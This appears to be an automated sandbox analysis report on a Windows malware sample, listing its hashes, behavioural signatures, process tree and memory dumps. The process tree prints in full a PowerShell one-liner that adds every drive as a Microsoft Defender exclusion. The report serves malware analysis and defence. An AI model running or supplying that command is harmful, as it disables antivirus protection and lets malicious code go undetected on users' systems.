Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/08/2026, 15:05

General

  • Target
    fflagsfisoon (1).exe
  • Size 57KB
  • Sample260810-sgcm4aha26
  • SHA256 0b4401896cff9cdc75255d19ca2ae0de1e33bd590272118a9333fea56eb49f3a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fflagsfisoon (1).exe
    "C:\Users\Admin\AppData\Local\Temp\fflagsfisoon (1).exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3152
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
      2⤵
      • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious use of WriteProcessMemory
      PID:3992
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:2216
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4428

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_efgh1h5x.dk2.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efgh1h5x.dk2.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3152-16-0x00000003979D0000-0x0000000397A2A000-memory.dmp

          memory/3152-26-0x00007FF7A1C50000-0x00007FF7A1C69000-memory.dmp

          memory/4428-2-0x000001AD81C80000-0x000001AD81C90000-memory.dmp

          memory/4428-1-0x000001AD81C80000-0x000001AD81C90000-memory.dmp

          memory/4428-8-0x000001ADFFE40000-0x000001ADFFE62000-memory.dmp

          memory/4428-11-0x000001AD81C80000-0x000001AD81C90000-memory.dmp

          memory/4428-14-0x000001AD9C370000-0x000001AD9C4DA000-memory.dmp